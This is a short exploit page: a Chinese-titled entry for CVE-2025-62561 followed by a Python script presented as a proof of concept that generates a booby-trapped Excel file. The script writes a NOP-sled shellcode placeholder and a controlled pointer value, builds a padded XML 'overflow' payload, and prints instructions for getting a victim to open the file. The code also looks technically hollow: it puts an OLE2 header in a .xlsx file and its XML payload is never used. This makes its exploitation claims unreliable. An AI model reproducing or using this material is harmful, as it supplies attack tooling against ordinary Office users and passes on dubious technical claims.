CVE-2025-62561 Microsoft Office Excel不受信任指针解引用漏洞

# CVE-2025-62561 PoC - Malicious Excel File Generator # This PoC demonstrates the structure needed to trigger the untrusted pointer dereference # Note: Actual exploitation requires specific memory layout and Excel version import struct import os def create_malicious_excel(): """ Generate a malicious Excel file that triggers CVE-2025-62561 The vulnerability allows pointer control through specially crafted data """ # Excel OLE2 file header ole2_header = b'\xd0\xcf\x11\xe0\xa1\xb1\x1a\xe1' # Compound Document File Format structures # Modified to trigger untrusted pointer dereference # Sector allocation table - manipulate to control pointer sector_allocation = bytearray(512) # Malicious data stream that triggers the vulnerability malicious_stream = bytearray() # Add shellcode placeholder (would need to be customized for actual exploitation) shellcode = b'\x90' * 256 # NOP sled shellcode += b'\xcc' * 16 # Breakpoint for debugging malicious_stream.extend(shellcode) # Controlled pointer value that will be dereferenced controlled_pointer = struct.pack('<Q', 0x4141414141414141) # Controllable pointer malicious_stream.extend(controlled_pointer) # Padding to reach critical file size malicious_stream.extend(b'\x00' * (1024 - len(malicious_stream))) # Create the malicious Excel file output_file = 'CVE-2025-62561_poc.xlsx' with open(output_file, 'wb') as f: f.write(ole2_header) f.write(sector_allocation) f.write(malicious_stream) print(f"[+] Created malicious Excel file: {output_file}") print(f"[!] This file triggers untrusted pointer dereference in Excel") print(f"[*] User interaction required: victim must open the file") return output_file def create_xml_payload(): """ Alternative: XML-based payload for newer Excel formats (.xlsx) """ xml_content = '''<?xml version="1.0" encoding="UTF-8"?> <workbook xmlns="http://schemas.openxmlformats.org/spreadsheetml/2006/main"> <sheets> <sheet name="Sheet1"/> </sheets> </workbook> ''' # Malicious XML with specially crafted data malicious_xml = xml_content + ('\x41' * 2048) # Padding to trigger overflow return malicious_xml if __name__ == '__main__': print("=" * 60) print("CVE-2025-62561 PoC Generator") print("Target: Microsoft Office Excel") print("Vulnerability: Untrusted Pointer Dereference") print("=" * 60) create_malicious_excel() print("\n[*] To test this PoC:") print("1. Open the generated file in Microsoft Office Excel") print("2. The file will trigger the untrusted pointer dereference") print("3. With proper exploitation, arbitrary code execution is possible")